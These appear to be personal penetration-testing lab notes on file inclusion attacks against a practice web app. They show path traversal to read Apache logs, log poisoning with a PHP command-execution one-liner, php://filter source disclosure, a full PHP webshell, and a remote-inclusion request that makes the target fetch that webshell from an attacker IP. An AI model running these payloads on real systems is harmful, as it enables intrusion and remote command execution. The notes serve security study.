LFI, RFI, Wrappers

RFI - Remote file inclusion LFI - Local

LFI

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
...

Since we see logs include user agent you can include php scripts and execute them (win defender keeps nuking it so i have to change this)

<?php #echo system($_GET['cmd'])#; ?>

including this in the useragent you can do wacky shit

Wrappers

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn...
dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K
...

[we add the b64 encoding because when we include admin.php, its executing the file and cant be seen normally. encoding it with b64 makes it so that we can extract the admin.php file and decode it later]

We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT134 or Base64.5 In the previous section, we covered using LFI to include the contents of files. Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application's logic.

RFI

remote file inclusion - web server grabs shit from our web server

Kali Linux includes several PHP webshells in the /usr/share/webshells/php/ directory that can be used for RFI.

kali@kali:#/usr/share/webs#hells/php/$ cat simple-backdoor.php
...
<#?php
if(is#set($_REQUEST#['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Usage: http://target.com/simp#le-backdoor.ph#p?c#md=cat+/etc/passwd
...

HAD TO ADD POUND KEYS BECAUSE WINDOWS DEFENDER IS TRYING TO NUKE MY NOTES

kali@kali:/usr/share/webshells/php/$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> 

<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>                        

WHERE: index.php?page=http://192.168.119.3/simple-backdoor.php refers to our attacker IP

also if you can 'remote file include' and call back to yourself, check SMB for hashes

[[Windows/Exfiltration|Exfiltration]] ![](/img/Pasted image 20240710171317.png) ![](/img/Pasted image 20240710171331.png)